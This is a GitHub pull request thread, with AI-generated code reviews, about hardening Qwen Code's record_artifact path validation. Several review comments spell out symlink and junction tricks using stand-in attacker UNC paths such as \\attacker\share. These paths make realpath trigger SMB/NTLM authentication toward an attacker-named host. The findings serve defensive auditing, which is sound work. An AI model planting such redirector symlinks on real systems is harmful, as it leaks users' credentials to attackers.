[严重] R3-22：@wenshao 第一轮评审中的阻断项（评论 3782994126）仍未解决——在本次提交上复核并用实时探针复现：绑定工作区归属仍然从会话 cwd 的形状做词法推断，而不是使用权威的绑定工作区元数据。生产者从当前执行目录推导包含性/规范化根，且仅做这一词法后缀剥离；而消费者按真实绑定工作区解析：SessionArtifactStore 以 createSessionEntry 的 workspaceCwd 构造（文档注明"不随 agent 会话改 cwd 而变化"），getWorkspaceStatus 按 realpath(workspaceCwd) 解析，GET /file 经 runtime.workspaceCwd 解析。——两个已证实入口：(1) 后缀入口——工作区根本身以 .qwen/worktrees/<slug> 结尾：探针登记已存在的 report.csv，回执 status: available、落库 workspacePath: ".qwen/worktrees/app/report.csv"，而以同一 cwd 构造的 store 对该 canonical 路径报 missing（解析出重复嵌套路径），改动前的原样形式则报 available——本 diff 引入的后缀剥离把已存在的文件翻转为 missing；(2) 迁移 cwd 入口——ACP 的 cd 处理以 skipArtifactMigration 迁移（"storage stays at the bound workspace"，acpAgent.ts:10397）：绑定 /ws、迁移到 /ws/reports 的会话探针落库相对定位符 "report.csv" 且 status: available，GET /file 返回 404，且静默返回了根目录的同名文件（数据完整性问题）；而绑定工作区内、cwd 之外的绝对定位符 /ws/design.md 被以事实错误的 "must stay inside the workspace" 拒绝。——失败场景：cwd 根以 .qwen/worktrees/<slug> 结尾（或 cwd 被迁移到绑定工作区内）的会话登记已存在的 report.csv → 落库 canonical 定位符且 status: available → 消费者按真实绑定根解析 → 文件存在却显示 missing，或打开的是根目录同名文件——正是 issue #9083 的标题症状。入口 2 的相对定位符部分在本 PR 之前就存在，但本 PR 新增了虚假的 status: available 保证，并新接受了随后被错误解析的绝对路径。
证据（本次提交上的实时探针）：回执 status: available、落库 ".qwen/worktrees/app/report.csv" → store 状态 missing（改动前原样形式为 available）；迁移探针：GET /file?path=report.csv → 404 path_not_found、sameNameServedWrongFile: true；绝对路径 /ws/design.md → 抛出 "workspacePath must stay inside the workspace"。
修复建议：不要从 cwd 形状推断绑定工作区——把权威的绑定工作区根（createSessionEntry 交给 SessionArtifactStore 的同一个值）透传给 RecordArtifactTool/invocation，在 validateWorkspacePath 与 resolveWorkspaceArtifactLocator 中作为包含性/规范化的基准；仅对权威根保留 worktree 后缀剥离。每种布局补一个回归测试（worktree 后缀、以该后缀结尾的普通工作区、迁移子目录）。
— qwen3.8-max via Qwen Code /review (v0.21.13)
|
|
||
| let resolved: string; | ||
| try { | ||
| resolved = await fs.realpath(candidate); |
There was a problem hiding this comment.
[Critical] R4-1: Still-standing blocker from round 4 (comment 3798835202). The UNC/redirector rejection added by dfc0893 and extended by 22d9eb2 classifies only the raw lexical input and (since 22d9eb2) the readlink target of the FINAL path component; redirector-routed paths still reach SMB-resolving syscalls (fs.lstat / fs.realpath — Windows redirector negotiation and an NTLM auth attempt toward the attacker-named host) through three demonstrated entrances: (1) NT-native junction spelling — fs.readlink on a Windows junction returns \??\UNC\server\share, which isRedirectorRoutedPath does not match (the single leading backslash defeats every anchored pattern — the classifier executed verbatim returns false, controls true), so inspectWorkspaceCandidate proceeds to fs.realpath, which follows the junction; (2) intermediate directory symlink components — a workspace symlink docs -> \\attacker\share with the recorded file inside it (docs/q3.csv): the final component is not a symlink, the readlink gate never fires, and fs.realpath traverses the unclassified docs component (probe outcome path_not_in_workspace, reachable only after the traversal); (3) two-hop chains — a.csv -> b.csv with b.csv -> \\attacker\share\x: readlink(a) returns b.csv, the classifier passes, and fs.realpath walks the whole chain into the UNC hop. The post-realpath isWithinRoot check still rejects recording (observed), so the demonstrated cost is the outbound SMB negotiation/NTLM auth attempt and possible stall, not an out-of-workspace record. The round-4 blocker asked to close the class structurally; 22d9eb2 closed the single-hop final-component arm only.
Witness: classifier("\??\UNC\attacker.example\share\report.csv") = false (controls \\\\attacker…, //attacker…, \\?\UNC\… all true); intermediate-symlink and two-hop probes both reached realpath before rejection — quoting the readlink gate at record-artifact.ts:757-760 and the realpath at :767 as the lines producing the unclassified traversal. The Windows SMB/NTLM half is documented OS behavior (libuv win32 fs__realpath), not runnable on this Linux host.
Suggested fix: close the class structurally — normalize NT-native device spellings inside isRedirectorRoutedPath (\??\ → \\?\) plus an unanchored \Device\Mup\ match; and before any syscall that traverses the candidate, walk each path component (readlink + classify each directory component, with a hop limit), not only the final one.
中文说明
[严重] R4-1：第四轮的阻断项（评论 3798835202）仍未解决。dfc08938 引入、22d9eb2c 扩展的 UNC/重解析器拒绝只对原始词法输入分类，以及（22d9eb2c 起）只对最终路径组件的 readlink 目标分类；经重解析器路由的路径仍会到达触发 SMB 解析的系统调用（fs.lstat / fs.realpath —— Windows 重解析器协商与向攻击者指定主机的 NTLM 认证尝试），已证实三个入口：(1) NT 原生联接写法——Windows 联接的 fs.readlink 返回 \??\UNC\server\share，isRedirectorRoutedPath 不匹配（单个前导反斜杠绕过所有锚定模式——原样执行分类器返回 false，对照组为 true），inspectWorkspaceCandidate 继续执行 fs.realpath 并跟随联接；(2) 中间目录符号链接组件——工作区符号链接 docs -> \\attacker\share，被登记文件在其内部（docs/q3.csv）：最终组件不是符号链接，readlink 守卫不会触发，fs.realpath 遍历未经分类的 docs 组件（探针结果 path_not_in_workspace，只有遍历发生后才可达）；(3) 两跳链——a.csv -> b.csv 且 b.csv -> \\attacker\share\x：readlink(a) 返回 b.csv，分类器放行，fs.realpath 沿整条链走进 UNC 跳。realpath 之后的 isWithinRoot 仍会拒绝登记（已观察到），因此已证实的代价是出站 SMB 协商/NTLM 认证尝试及可能的挂起，而非越界登记。第四轮阻断项要求结构性关闭该类问题；22d9eb2c 只关闭了单跳最终组件这一支。
证据：classifier("\??\UNC\attacker.example\share\report.csv") = false（对照组 \\\\attacker…、//attacker…、\\?\UNC\… 均为 true）；中间符号链接与两跳链探针均在被拒绝前到达了 realpath——record-artifact.ts:757-760 的 readlink 守卫与 :767 的 realpath 即产生未分类遍历的代码行。Windows SMB/NTLM 部分是文档化的操作系统行为（libuv win32 fs__realpath），无法在本 Linux 环境执行。
修复建议：结构性关闭该类问题——在 isRedirectorRoutedPath 内规范化 NT 原生设备写法（\??\ → \\?\），并补充非锚定的 \Device\Mup\ 匹配；在对候选路径发起任何遍历类系统调用之前，逐组件检查（对每个目录组件 readlink + 分类，带跳数上限），而不是只检查最终组件。
— qwen3.8-max via Qwen Code /review (v0.21.13)
| ); | ||
| } | ||
|
|
||
| function isRedirectorRoutedPath(value: string): boolean { |
There was a problem hiding this comment.
[Suggestion] Pattern: POSIX-unaware path classifiers over-reject legitimate POSIX locators with the generic WORKSPACE_PATH_HINT, causing model churn — fail-closed over-rejection, not a bypass (the security directions were verified). 2 locations. (a) Here — isRedirectorRoutedPath runs platform-independently: classifier("//repo/report.csv") = true (executed), and a real build() threw "must be relative … or an absolute path inside the workspace" for an existing in-workspace file, even though on Linux //repo/report.csv addresses the same file as /repo/report.csv; the same classifier also over-blocks device-local \\.\C:\proj\f.csv on win32. (b) isForeignWindowsAbsolute (record-artifact.ts:579) rejects any input starting with a single backslash on POSIX, where \report.csv is a legal RELATIVE filename (executed: rejected with the hint while the interior-backslash control reports\summary.csv records fine); note removing only the startsWith term does not fix it — the relative branch's slash-conversion re-classifies the input as absolute, so a fix must address both layers. — Concrete cost: on a Linux workspace rooted at /repo, record_artifact with workspacePath: "//repo/report.csv" — or "\report.csv" for an existing relative file — is rejected by a hint that says relative paths are accepted; the model churns retrying paths that are already inside.
Witness: executed the verbatim classifier at the reviewed commit: classifier("//repo/report.csv") = true; build() threw the generic hint for an existing in-workspace file; leading-backslash \report.csv rejected while reports\summary.csv records fine; path.posix.normalize("//repo/x") = "/repo/x" on Node 22.
Fix direction (spans both locations):
// (a) On non-win32, collapse redundant leading slashes before classification:
// path.posix.normalize('//repo/x') === '/repo/x' (verified on Node 22),
// or scope the two-backslash UNC rule to win32 semantics.
// (b) Gate the leading-backslash rejection on win32 and treat POSIX '\name'
// as relative in BOTH layers (isForeignWindowsAbsolute and the relative
// branch's slash-conversion), or name the problem explicitly in the hint.中文说明
[建议] 模式：平台无关的路径分类器用通用 WORKSPACE_PATH_HINT 过度拒绝合法的 POSIX 定位符，造成模型反复重试——失败关闭的过度拒绝，不是绕过（安全方向已验证）。共 2 处。(a) 此处——isRedirectorRoutedPath 在所有平台运行：classifier("//repo/report.csv") = true（已执行），且真实 build() 对工作区内已存在的文件抛出 "must be relative … or an absolute path inside the workspace"，尽管在 Linux 上 //repo/report.csv 与 /repo/report.csv 指向同一文件；同一分类器在 win32 上还会过度拦截本机设备路径 \\.\C:\proj\f.csv。(b) isForeignWindowsAbsolute（record-artifact.ts:579）在 POSIX 上拒绝任何以单个反斜杠开头的输入，而 \report.csv 在 POSIX 上是合法的相对文件名（已执行：被带提示拒绝，而内部反斜杠对照 reports\summary.csv 登记正常）；注意仅删除 startsWith 项并不能修复——相对分支的斜杠转换会把它重新判定为绝对路径，修复必须同时处理两层。——具体代价：在以 /repo 为根的 Linux 工作区上，record_artifact 传 workspacePath: "//repo/report.csv"——或对已存在的相对文件传 "\report.csv"——会被一条声称接受相对路径的提示拒绝；模型会反复重试本就在界内的路径。
证据：在受审提交上原样执行分类器：classifier("//repo/report.csv") = true；build() 对工作区内已存在文件抛出通用提示；前导反斜杠 \report.csv 被拒绝而 reports\summary.csv 登记正常；Node 22 上 path.posix.normalize("//repo/x") = "/repo/x"。
修复方向（跨两处）：(a) 非 win32 上分类前先折叠多余前导斜杠（path.posix.normalize，已验证），或把双反斜杠 UNC 规则限定为 win32 语义；(b) 把前导反斜杠拒绝限定在 win32，并在两层（isForeignWindowsAbsolute 与相对分支的斜杠转换）把 POSIX \name 视为相对路径，或在提示中明确点名该问题。
— qwen3.8-max via Qwen Code /review (v0.21.13)
| if (process.platform === 'win32') { | ||
| return false; | ||
| } | ||
| return /^[A-Za-z]:/.test(value) || value.startsWith('\\'); |
There was a problem hiding this comment.
[Suggestion] Pattern location (b) of (a=record-artifact.ts:559): isForeignWindowsAbsolute rejects any input starting with a single backslash on POSIX, where \report.csv is a legal RELATIVE filename. Executed at the reviewed commit: a file literally named \report.csv in the workspace is rejected at build with WORKSPACE_PATH_HINT, while the interior-backslash control reports\summary.csv records fine. Note: removing only the value.startsWith('\\') term does not fix it — the relative branch's .replace(/\\/g, '/') turns \report.csv into /report.csv, which path.posix.isAbsolute treats as absolute, so the rejection just moves to "must stay inside the current execution directory"; a real fix must address both layers. — Concrete cost: on Linux/macOS, valid relative locators with a leading backslash are rejected by a hint that says relative paths are accepted; the model churns retrying. Fail-closed over-rejection, not a bypass (interior-backslash and UNC directions verified). See location (a) for the sibling //repo/… two-slash over-rejection in isRedirectorRoutedPath and the shared fix direction.
Witness: executed verbatim classifier + real tool at the reviewed commit: leading-backslash \report.csv rejected with WORKSPACE_PATH_HINT; interior-backslash reports\summary.csv records fine; mutation removing only the startsWith term moved the rejection to the relative branch.
中文说明
[建议] 模式发现的位置 (b)（(a) 在 record-artifact.ts:559）：isForeignWindowsAbsolute 在 POSIX 上拒绝任何以单个反斜杠开头的输入，而 \report.csv 在 POSIX 上是合法的相对文件名。在受审提交上执行：工作区内名为 \report.csv 的文件在 build 阶段被以 WORKSPACE_PATH_HINT 拒绝，而内部反斜杠对照 reports\summary.csv 登记正常。注意：仅删除 value.startsWith('\\') 项并不能修复——相对分支的 .replace(/\\/g, '/') 会把 \report.csv 变成 /report.csv，path.posix.isAbsolute 视其为绝对路径，拒绝只是移动到 "must stay inside the current execution directory"；真正的修复必须同时处理两层。——具体代价：在 Linux/macOS 上，前导反斜杠的合法相对定位符被一条声称接受相对路径的提示拒绝；模型反复重试。失败关闭的过度拒绝，不是绕过（内部反斜杠与 UNC 方向已验证）。同类问题（isRedirectorRoutedPath 的 //repo/… 双斜杠过度拒绝）及共同修复方向见位置 (a)。
证据：在受审提交上原样执行分类器与真实工具：前导反斜杠 \report.csv 被以 WORKSPACE_PATH_HINT 拒绝；内部反斜杠 reports\summary.csv 登记正常；仅删除 startsWith 项的变异使拒绝移动到相对分支。
— qwen3.8-max via Qwen Code /review (v0.21.13)
NT junction spellings, intermediate directory symlinks, and two-hop chains still reached realpath and could trigger Windows SMB/NTLM. Co-authored-by: Cursor <cursoragent@cursor.com>
|
Qwen Code review did not complete successfully. The review pipeline failed before a review could be posted. A transient error is retried automatically; if you are seeing this, retry with |
chiga0
left a comment
chiga0
left a comment
There was a problem hiding this comment.
Re-reviewed at HEAD 334b132d.
The new commit (fix(artifacts): walk path components before UNC-resolving syscalls) directly addresses the two remaining blockers from the CI bot's round-4/5 reviews:
- R4-1 (intermediate directory symlink → UNC not caught):
pathHasRedirectorHopnow walks every path component and callssymlinkChainHitsRedirector(up to 8 hops) on each one — verified correct against the new tests for one-hop and two-hop UNC symlink chains. - R5-1/R5-2 (POSIX
//pathover-rejected as UNC):posixDoubleSlashguard correctly exempts paths that start with//but contain no backslash on non-Windows — the new POSIX double-slash test confirms the fix. - R3-22 (
/-root worktree): still a CI bot false positive —resolveBoundWorkspaceRootreturnspath.parse(resolved).rootwhenbaseis empty, confirmed in source.
All CI bot deferred items are marked non-blocking probes, not critical blockers. No new issues found in the new commit. LGTM ✅
This review was generated by QoderWork AI
chiga0
left a comment
chiga0
left a comment
There was a problem hiding this comment.
Follow-up Review at HEAD 334b132d (AI Generated)
Re-reviewing PR #9142 after commit 334b132d "fix(artifacts): walk path components before UNC-resolving syscalls" landed on top of the 22d9eb2c I previously reviewed. This is a delta-only follow-up.
中文说明
在 22d9eb2c 上我给过一次 COMMENT。之后作者又推了一个 commit（334b132d），主要动的是 record-artifact.ts 的 UNC/redirector 检测，把过去只对叶子路径做 readlink 检查、扩展成逐段行走 + 8 跳 symlink 链跟踪，同时补上了两个之前遗漏的 spelling（NT junction \??\ 前缀、任意位置的 \Device\Mup\），并且在 POSIX 上豁免了 //path（POSIX 合法本地绝对路径）。这一版把 CI bot 上一轮 CR 里的 R4-1 Critical（中间目录/两跳 symlink 绕过 UNC 检查）实打实地闭合了。
复评结论：可确认的 open Critical/Major 仍然是 0；上一轮的两处 Minor / Nit（Open/Download 门控不对称、!incoming.toolName provenance-blind 刷新）未受影响（相关文件本次未改动）；bot 的 R3-22（lexical worktree ownership）看起来是有意保留的契约。本次 delta 我新看到 1 个 Minor + 1 个 Suggestion（详见 inline）。整体建议仍保持 COMMENT，不主动 APPROVE。
Verified at HEAD 334b132d
| Prior finding | Status at 334b132 |
|---|---|
| Bot R4-1 Critical — UNC bypass via intermediate directory / two-hop symlink (readlink-of-leaf-only) | Resolved — pathHasRedirectorHop (record-artifact.ts:653) walks every path component; symlinkChainHitsRedirector (:673) follows the symlink chain up to REDIRECTOR_HOP_LIMIT = 8 hops; inspectWorkspaceCandidate calls the walk before any fs.lstat/realpath (:773) |
Bot R4-1's implied gaps: \??\ NT junction spelling; \Device\Mup\ not anchored at start |
Resolved — isRedirectorRoutedPath (:559) now normalizes \??\ to \\?\ and matches \Device\Mup\ at any position |
Over-rejection: POSIX //path shouldn't be treated as SMB/UNC |
Resolved — new posixDoubleSlash guard at :566 skips the double-backslash-anchored patterns on non-Windows |
| Bot R3-22 — lexical worktree ownership inference (workspace-artifact-path.ts:9) | Still open (appears by design) — no change; maintainer contract |
| Wenshao's TOCTOU pin — realpath→stat not fd-pinned (record-artifact.ts:786) | Still open (low-severity residual) — unchanged; local single-user threat model |
My prior Minor — Open/Download gating asymmetry for changed (TurnOutputs.tsx:675) |
Still open — TurnOutputs.tsx not touched in this commit |
My prior Nit — !incoming.toolName provenance-blind refresh (sessionArtifacts.ts:1814) |
Still open — sessionArtifacts.ts not touched in this commit |
New Delta Findings
- [Minor] Synchronous
lstatSync/readlinkSyncchain on the hot path of an async handler —pathHasRedirectorHopruns synchronous fs on every path segment (plus up to 8 hops per segment) inside the asyncinspectWorkspaceCandidate. On a slow or network-backed filesystem, a deep path can block the daemon's event loop for a non-trivial duration perrecord_artifactcall. See inline at :773. - [Suggestion] Consider
isForeignWindowsAbsolutePOSIX over-rejection — On POSIX, any input starting with\is rejected as "foreign Windows absolute".\report.csvis a legal one-character-plus-name relative POSIX filename. Bot's own R4/R5 Suggestions flagged this same pattern; consider narrowing to^\\[^\]+(double-slash) or reserving the check for absolute-input classification only. Not a security concern (fail-closed); a usability one.
Additional Audit Coverage
symlinkChainHitsRedirectorhop cap: 8 is fine (kernel typically caps at 40, and the fail-closed direction means a legitimate but weirdly-linked chain > 8 fails false — safe). Confirmed at :651-675.- NT junction target readlink:
\??\normalization at :559 is applied on the target side (viasymlinkChainHitsRedirector'sreadlinkSync→isRedirectorRoutedPath(target)at :691), which is exactly where NT typically returns the junction spelling. - TOCTOU window widened, slightly: adding a synchronous pre-check does not shrink the eventual
fs.realpath → fs.statrace window — a determined attacker can still swap parent dirs between the pre-check and the async fs.lstat/realpath. This is a residual, not a regression.
Final Verdict
COMMENT (not APPROVE). The delta from 22d9eb2c → 334b132d is a legitimate and thorough hardening that closes bot's R4-1 Critical. I have no confirmable new Critical/Major. Non-blocking Minor (sync fs on hot path) + Suggestion (POSIX over-rejection) noted inline. Prior low-severity residuals unchanged. Merge/approve decision left to maintainers.
This review was generated by QoderWork AI
| cwd: string, | ||
| root: string, | ||
| ): Promise<WorkspaceLocatorResult> { | ||
| if (pathHasRedirectorHop(candidate)) { |
There was a problem hiding this comment.
[Minor] Sync lstatSync/readlinkSync per path segment inside an async handler / 异步函数里逐段做同步 fs 会阻塞事件循环
pathHasRedirectorHop(candidate) at line 773 walks every intermediate path component and, for each, calls symlinkChainHitsRedirector, which invokes lstatSync + readlinkSync up to 8 hops. For a deep candidate (e.g., /a/b/c/d/e/f/g/h/report.csv = 9 segments × up to 8 hops = up to 72 synchronous fs syscalls) this blocks the daemon's event loop for the whole traversal. On network-backed filesystems (SMB / NFS / FUSE) the amplification can be significant.
Failure scenario: a record_artifact call whose canonical path lives on a slow-lstat mount stalls the daemon's HTTP handler thread for the duration of the walk, degrading concurrency for other in-flight requests.
Suggested: switch to fs.promises.lstat / fs.promises.readlink so the walk yields between hops, or (cheaper) short-circuit the walk when candidate starts with the realpath'd root and no intermediate segment is a symlink — a boolean-batch check via one fs.realpath on the parent is O(1) syscalls after the fact. Not a security issue; a hot-path performance / responsiveness issue.
This review was generated by QoderWork AI
|
|
||
| const REDIRECTOR_HOP_LIMIT = 8; | ||
|
|
||
| function pathHasRedirectorHop(absolutePath: string): boolean { |
There was a problem hiding this comment.
[Verified: bot R4-1 Critical resolved] Walk + 8-hop chain closes intermediate-directory UNC bypass
Confirming at HEAD 334b132d: pathHasRedirectorHop (:653) iterates every path component from root down to leaf; each is checked via isRedirectorRoutedPath and symlinkChainHitsRedirector (:673), which follows the symlink chain up to REDIRECTOR_HOP_LIMIT = 8 hops (:651) and re-checks both the raw readlinkSync target and its path.resolved absolute form (:691, :697). This closes the "readlink of leaf only" gap that bot's R4-1 called out. No new Critical/Major introduced by the change.
This review was generated by QoderWork AI
|
Released in v0.21.14. |
5 participants
What this PR does
record_artifactnow resolves and stats a workspace file before recording it, then stores a workspace-root-relative canonicalworkspacePath. A successful tool result includesstatus=available, the canonical path, andresolvedPath. Missing, escaped, directory, or unsafe symlink locators fail instead of returningRecorded artifact. Web Shell turn cards disable Open for missing workspace artifacts and show why. Re-recording the same workspace locator updates title and description. The schema rejects unknown fields, and the oldpathargument is named in the error.write_file's auto-record whitelist also gains.csvand.xlsx. That is a small same-PR addition, not a second feature: the reported incident's user-visible files were spreadsheets,write_filealready auto-records HTML/image/PDF/notebook, and the tool description is updated in this change. It does not cover files created byrun_shell_command; those still go throughrecord_artifact.Absolute workspace locators are compared after
realpath, so a path that names the workspace through a symlink prefix (macOS/varvs/private/var) is not rejected as outside the workspace.Why it's needed
Models often hold an absolute path or invent a workspace-folder prefix such as
w/agent/report.csv. The tool previously recorded that string without checking the file, then told the model it succeeded. The daemon later marked the artifactmissingwhile the file was on disk, and the model still promised the user it could be opened.write_fileandGET /filealready agree on the bound workspace root; this change makesrecord_artifactproduce that same path. See #9083.Reviewer Test Plan
How to verify
report.csvwith a shell command and callrecord_artifactwithworkspacePath: "report.csv". The tool result should includestatus: availableandworkspacePath: report.csv, and the artifact should open.record_artifactwith a wrong prefix such asw/agent/report.csvwhen the file isreport.csv. The tool must fail and must not sayRecorded artifact.workspacePathshould be the root-relative canonical form, andGET /fileshould return 200.report.csv. The stored path should be.qwen/worktrees/<slug>/report.csv, and opening it must not show a same-named file at the workspace root.../and a root-relative path that does not exist in the worktree cwd should fail.Unit coverage:
packages/corecanonicalizer /record_artifact/write_file,packages/acp-bridgemerge,packages/web-shellTurnOutputs, andpackages/clirecord_artifact ⇄ GET /filecontract tests.Evidence (Before & After)
Before:
record_artifactreturnedRecorded artifactfor a path it never checked; daemon status becamemissing; the model still told the user to click and download.After: verification happens before success; stored paths match
GET /file; missing cards cannot be opened.Tested on
mainplus the symlink-prefix follow-upEnvironment (optional)
Local
vitestforpackages/corerecord-artifacttests (28 passing, including the symlink-prefix case). CI should be the source of truth on currentmain.Risk & Scope
workspacePathis resolved only against the current execution directory. Absolute paths may be anywhere inside the bound workspace. There is no cwd-then-root fallback for relative paths, so a worktree session that wants to register a root file must pass an absolute path. The bundled/reviewskill now does that.dataworks-display-outputskill.record_artifactnow fails when the file is missing or outside the workspace. Callers that passed a guessed relative prefix will see an error instead of a false success. Existing stored artifacts are not rewritten.Linked Issues
Fixes #9083
中文说明
这个 PR 做什么
record_artifact现在会先解析并 stat 工作区文件，再把workspacePath存成相对绑定工作区根目录的 canonical 路径。成功回执包含status=available、canonical 路径和resolvedPath。文件不存在、越界、目录或危险 symlink 会失败，不再返回Recorded artifact。Web Shell 轮次卡片对 missing 的 workspace 产物禁用打开并展示原因。同一 locator 重新登记会更新标题和描述。Schema 拒绝未知字段，旧字段path会点名报错。write_file自动登记白名单同时补上.csv/.xlsx：事故里用户可见产物就是表格，该工具本来就会自动登记 HTML/图片/PDF/notebook，描述也在同一改动里更新。这不覆盖run_shell_command写出的文件，那些仍走record_artifact。绝对路径会先
realpath再做越界判断，避免工作区根带 symlink（例如 macOS/var与/private/var）时把合法文件误拒。为什么需要
模型手里常有绝对路径，或会猜出
w/agent/report.csv这类前缀。工具以前不检查文件就回报成功，daemon 随后标missing，模型却继续让用户点击下载。write_file和GET /file已经按工作区根目录对齐；这次让record_artifact产出同一套路径。见 #9083。评审测试计划
如何验证
report.csv，再以workspacePath: "report.csv"调用record_artifact。回执应为available，并可打开。report.csv时传入w/agent/report.csv。工具必须失败，且不能出现Recorded artifact。GET /file返回 200。report.csv。落库路径应为.qwen/worktrees/<slug>/report.csv，打开时不能读到根目录同名文件。../，以及 cwd 下不存在的 root-relative 路径，应失败。证据（Before & After）
之前：未校验就返回成功，daemon 标 missing，模型仍承诺可下载。
之后：成功前先校验；落库路径与
GET /file一致；missing 卡片不可打开。风险与范围
相对路径只相对当前执行目录解析；绝对路径可在整个绑定工作区内。不对相对路径做 cwd 失败再猜 root。
/reviewskill 已改为传绝对路径。不做历史 missing 迁移。